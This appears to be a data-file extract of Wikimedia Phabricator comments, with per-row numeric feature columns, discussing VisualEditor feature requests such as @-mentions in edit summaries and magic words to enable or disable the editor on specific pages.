@MMiller_WMF cc'ing you for your awareness.",,,1590708453,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,0.3333333333333333,0.6666666666666666,0.0,2.3333333333333335,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,2.0,0.6666666666666666,2.6666666666666665,8.0,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,5.0,1.0,0.3333333333333333,1.0,1.0,0.0,0.0,0.0,2.3333333333333335,0.0,4.333333333333333,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,16.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,4.666666666666667,2.6666666666666665,6.0,0.0,2.0,5.666666666666667,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,1.0,0.0,7.666666666666667,8.0,3.0,0.3333333333333333,0.0,0.3333333333333333,7.666666666666667,0.0,0.0,2.0,2.0,3.0,0.3333333333333333,0.0,1.3333333333333333,4.149464570517202,0.7158806106174528,"SCREEN_NAME would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

---

i. URL

---SCREEN_NAME cc'ing you for your awareness."
243667,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,Re-purposing this to flesh out bug 42139 comment 1.,,,1390417719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.5833333333333335,1.0,Re-purposing this to flesh out bug 42139 comment 1.
243663,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,Dupe of bug 42139 (specifically bug 42139 comment 1)?,,,1374996450,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.8333333333333334,Dupe of bug 42139 (specifically bug 42139 comment 1)?
54141,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"There are many pages for which VisualEditor is broken.  In some cases, the page syntax can be changed to avoid the problem.  In other cases (such as nlwp's largethumb, dewp dab pages, enwp episode lists), the design affects many pages, and the only feasible solution is to fix the parser.  While we wait for fixes, the VE should be disabled on those pages known to be affected.

The set of pages to be VE-disabled could be a category, if you trust the villagers..:-)
Or a page title blacklist in MediaWiki: namespace so it is admin only
Or a page content regex blacklist in MediaWiki: namespace so it is easier to blacklist all pages which include a certain element.

**See Also**: {T55767} (also declined)",Lowest,10.0,1374931800,1437697879.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_description,declined,True,c1,3,False,False,False,3,,2.0,0.0,0.0,2.0,0.0,6.5,2.5,0.0,0.0,0.5,2.5,0.0,0.0,1.0,0.5,0.5,0.0,2.0,10.0,0.0,2.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,5.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,5.5,8.5,2.5,1.5,9.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,2.5,10.0,3.5,0.0,0.0,0.0,2.5,0.0,1.0,2.5,0.0,0.0,0.5,0.0,0.0,3.6516975308641975,0.6832561728395061,"There are many pages for which VisualEditor is broken.  In some cases, the page syntax can be changed to avoid the problem.  In other cases (such as nlwp's largethumb, dewp dab pages, enwp episode lists), the design affects many pages, and the only feasible solution is to fix the parser.  While we wait for fixes, the VE should be disabled on those pages known to be affected.

The set of pages to be VE-disabled could be a category, if you trust the villagers..:-)
Or a page title blacklist in MediaWiki: namespace so it is admin only
Or a page content regex blacklist in MediaWiki: namespace so it is easier to blacklist all pages which include a certain element.

**See Also**: {T55767} (also declined)"
650863,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),">>! In T54141#1568572, @Neil_P._Quinn_WMF wrote:
> @Kipod, whether it's easy or hard it not really the main issue. The main issue is whether the benefits outweigh the downsides—and unfortunately there //are// downsides. These magic words would increase complexity, sometimes stay on pages long after the need is gone, and risk confusing users when no visual editor tab appears on a page where they expect to see it.
> 
> Today, the visual editor corrupts pages //far// less often than it did when this bug was filed two years ago, which makes me think that the benefits of these magic words would be small. Are there other reasons for having them?

Has Paroid been round-trip tested against Wikisource pages in the main & Page: namespace?
I am guessing there will be a new batch of page corruptions on Wikisource when it is deployed for the Page: namespace, if there has not been specific testing for the Page: namespace. Wikisource has some very odd hacks. Many thanks if this testing has already been done and there are no serious problems when it is deployed.

An alternative would be for wikisource to add an editnotice, which is only shown for VE editors, for pages which have problems with VE. Then it can be more advisory:

""this page may have problems with VE; please check the diff after saving changes. Report bugs at <x> ; if there are no bugs, remove this editnotice by <do y>.""",,,1461565625,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,147,,1.0,0.0,0.5,2.0,0.5,4.0,2.5,0.0,0.0,1.5,0.5,0.0,0.0,0.5,2.0,0.5,0.0,4.5,10.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,1.5,1.5,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,14.5,0.0,1.5,0.5,0.5,0.0,0.5,0.0,1.0,0.5,0.0,1.0,1.5,0.0,0.5,0.5,0.5,0.0,4.0,6.5,10.5,2.5,1.0,8.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,2.0,10.0,8.0,0.5,1.0,0.0,2.0,0.0,2.5,1.5,0.0,1.0,0.5,0.0,3.0,3.819277108433735,0.694635685599541,"QUOTE
QUOTE
QUOTE
QUOTE

Has Paroid been round-trip tested against Wikisource pages in the main & Page: namespace?
I am guessing there will be a new batch of page corruptions on Wikisource when it is deployed for the Page: namespace, if there has not been specific testing for the Page: namespace. Wikisource has some very odd hacks. Many thanks if this testing has already been done and there are no serious problems when it is deployed.

An alternative would be for wikisource to add an editnotice, which is only shown for VE editors, for pages which have problems with VE. Then it can be more advisory:

""this page may have problems with VE; please check the diff after saving changes. Report bugs at <x> ; if there are no bugs, remove this editnotice by <do y>."""
650706,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),">>! In T54141#1568572, @Neil_P._Quinn_WMF wrote:
> Today, the visual editor corrupts pages //far// less often than it did when this bug was filed two years ago, which makes me think that the benefits of these magic words would be small. Are there other reasons for having them?

The primary benefit I see is that I'd like to enable VE on pages where it will not be enabled globally. ",,,1461516395,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,146,,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,22.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9259259259259259,"QUOTE
QUOTE

The primary benefit I see is that I'd like to enable VE on pages where it will not be enabled globally. "
513675,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"@Kipod, whether it's easy or hard it not really the main issue. The main issue is whether the benefits outweigh the downsides—and unfortunately there //are// downsides. These magic words would increase complexity, sometimes stay on pages long after the need is gone, and risk confusing users when no visual editor tab appears on a page where they expect to see it.

Today, the visual editor corrupts pages //far// less often than it did when this bug was filed two years ago, which makes me think that the benefits of these magic words would be small. Are there other reasons for having them?

>this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE. 
That only works for people who turn off the visual editor completely. If you disable the visual editor on a given page, I can no longer choose to use it. 

Peace to you as well :)",,,1440440676,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,112,,0.0,0.0,0.5,0.5,0.5,7.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.0,1.5,0.0,10.0,10.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.5,7.5,2.5,3.0,0.0,1.5,0.5,0.5,0.0,0.0,0.5,1.0,0.5,0.5,0.0,1.0,0.0,0.0,0.5,15.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.5,1.0,0.5,0.0,6.0,3.0,6.0,4.5,1.5,9.0,0.0,0.5,0.0,0.0,3.5,0.0,0.5,0.0,6.5,10.0,0.0,0.5,0.0,0.0,6.5,0.0,3.0,1.0,1.5,1.0,0.5,0.0,0.0,4.079430379746835,0.7928006329113924,"SCREEN_NAME, whether it's easy or hard it not really the main issue. The main issue is whether the benefits outweigh the downsides—and unfortunately there //are// downsides. These magic words would increase complexity, sometimes stay on pages long after the need is gone, and risk confusing users when no visual editor tab appears on a page where they expect to see it.

Today, the visual editor corrupts pages //far// less often than it did when this bug was filed two years ago, which makes me think that the benefits of these magic words would be small. Are there other reasons for having them?

QUOTE
That only works for people who turn off the visual editor completely. If you disable the visual editor on a given page, I can no longer choose to use it. 

Peace to you as well :)"
513149,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"i see this is ""closed, declined"".
since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:


there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
 
i was thinking something like adding two new magic words:


```
__ENABLE_VISUAL_EDITOR__
__DISABLE_VISUAL_EDITOR__
```
this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.

implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.

so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).

maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...


peace.",,,1440372132,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,111,,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,8.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.3333333333333335,1.3333333333333333,6.0,8.333333333333334,0.3333333333333333,3.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,2.0,0.3333333333333333,4.0,2.3333333333333335,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,1.0,0.3333333333333333,11.666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,2.6666666666666665,3.6666666666666665,2.0,1.3333333333333333,3.0,7.0,0.0,0.0,0.0,0.0,7.333333333333333,0.3333333333333333,1.6666666666666667,0.0,5.0,8.333333333333334,1.6666666666666667,0.0,2.6666666666666665,0.0,5.0,0.0,1.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,3.807560137457045,0.711340206185567,"i see this is ""closed, declined"".
since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:


there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
 
i was thinking something like adding two new magic words:


``CODE``
this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.

implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.

so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).

maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...


peace."
513148,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"i see this is ""closed, declined"".
since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:


there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
 
i was thinking something like


```
__ENABLE_VISUAL_EDITOR__
__DISABLE_VISUAL_EDITOR__
```
this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.

implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.

so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).

maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...


peace.",,,1440372042,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,111,,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,7.333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.3333333333333335,1.3333333333333333,6.0,8.666666666666666,0.3333333333333333,3.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,2.0,0.3333333333333333,4.0,2.3333333333333335,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,1.0,0.3333333333333333,11.666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,2.6666666666666665,3.6666666666666665,2.0,1.3333333333333333,3.0,7.0,0.0,0.0,0.0,0.0,7.333333333333333,0.3333333333333333,1.3333333333333333,0.0,5.0,8.666666666666666,1.6666666666666667,0.0,2.6666666666666665,0.0,5.0,0.0,1.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,3.807017543859649,0.7192982456140351,"i see this is ""closed, declined"".
since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:


there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
 
i was thinking something like


``CODE``
this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.

implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.

so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).

maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...


peace."
513080,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"i see this is ""closed, declined"".
since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:


there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
 
i was thinking something like

__ENABLE_VISUAL_EDITOR__
__DISABLE_VISUAL_EDITOR__
this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.

implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.

so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).

maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...


peace.",,,1440351968,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,111,,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,7.333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.3333333333333335,1.3333333333333333,6.0,8.333333333333334,0.3333333333333333,3.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,2.0,0.3333333333333333,4.0,2.3333333333333335,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,1.0,0.3333333333333333,11.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,2.6666666666666665,3.6666666666666665,2.3333333333333335,1.3333333333333333,3.0,7.0,0.0,0.0,0.0,0.0,7.333333333333333,0.3333333333333333,2.0,0.0,5.0,8.333333333333334,1.6666666666666667,0.0,2.6666666666666665,0.0,5.0,0.0,1.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,3.8694158075601375,0.6975945017182129,"i see this is ""closed, declined"".
since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:


there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
 
i was thinking something like

__ENABLE_VISUAL_EDITOR__
__DISABLE_VISUAL_EDITOR__
this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.

implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.

so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).

maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...


peace."
502420,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"Hello, @Jdforrester-WMF. You merged T107426 here, but it is not the same problem. The main part over there was an ability to ENABLE the VisualEditor on a page in VE-disabled namespace. Thank you.
",,,1438769968,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,109,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,23.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,9.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7045454545454546,0.8636363636363636,"Hello,SCREEN_NAME-WMF. You merged T107426 here, but it is not the same problem. The main part over there was an ability to ENABLE the VisualEditor on a page in VE-disabled namespace. Thank you.
"
496118,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),Agreed.,,,1437697879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Agreed.
496116,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),">>! In T54141#1312318, @ssastry wrote:
> Yes, the largethumb template issue has been fixed since early 2014.
> 
> The only large-scale corruptions that have been reported have been due to transient bugs on deploys (which tend to be fixed quickly or deploys reverted). There are some pages on which Parsoid could potentially cause corruptions, but those one-off bugs tend to get fixed promptly. There are no large sets of pages that I am aware of that aren't handled properly on the Parsoid end. So, as far as I know, from the Parsoid perspective, this workaround shouldn't be needed.

@Jdforrester-WMF, what do you think about declining this bug?

",,,1437697817,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,23.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5454545454545454,0.7272727272727273,"QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME-WMF, what do you think about declining this bug?

"
463933,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"Yes, the largethumb template issue has been fixed since early 2014.

The only large-scale corruptions that have been reported have been due to transient bugs on deploys (which tend to be fixed quickly or deploys reverted). There are some pages on which Parsoid could potentially cause corruptions, but those one-off bugs tend to get fixed promptly. There are no large sets of pages that I am aware of that aren't handled properly on the Parsoid end. So, as far as I know, from the Parsoid perspective, this workaround shouldn't be needed.",,,1432641854,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,99,,0.5,0.0,0.0,3.5,2.0,4.5,1.5,0.0,0.0,0.0,2.0,2.0,0.0,0.5,1.5,2.0,0.0,7.5,9.0,0.0,2.0,1.0,0.5,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,7.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,0.0,1.5,1.0,0.5,0.0,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.5,0.0,3.0,6.0,7.5,0.5,1.5,8.0,0.0,0.0,0.0,0.0,3.5,0.5,1.5,0.0,2.0,9.0,2.5,0.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,4.081818181818182,0.790909090909091,"Yes, the largethumb template issue has been fixed since early 2014.

The only large-scale corruptions that have been reported have been due to transient bugs on deploys (which tend to be fixed quickly or deploys reverted). There are some pages on which Parsoid could potentially cause corruptions, but those one-off bugs tend to get fixed promptly. There are no large sets of pages that I am aware of that aren't handled properly on the Parsoid end. So, as far as I know, from the Parsoid perspective, this workaround shouldn't be needed."
463865,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"I'm pretty certain that the largethumb template issue has been fixed, and based on the lack of activity and concrete reports of ongoing large-scale corruptions it seems possible that the work-around described in this task might no longer be needed. @ssastry and @jdforrester-wmf: Could you chime in?",,,1432629212,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,99,,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,5.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,12.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.473684210526316,0.8596491228070176,"I'm pretty certain that the largethumb template issue has been fixed, and based on the lack of activity and concrete reports of ongoing large-scale corruptions it seems possible that the work-around described in this task might no longer be needed.SCREEN_NAME andSCREEN_NAME-wmf: Could you chime in?"
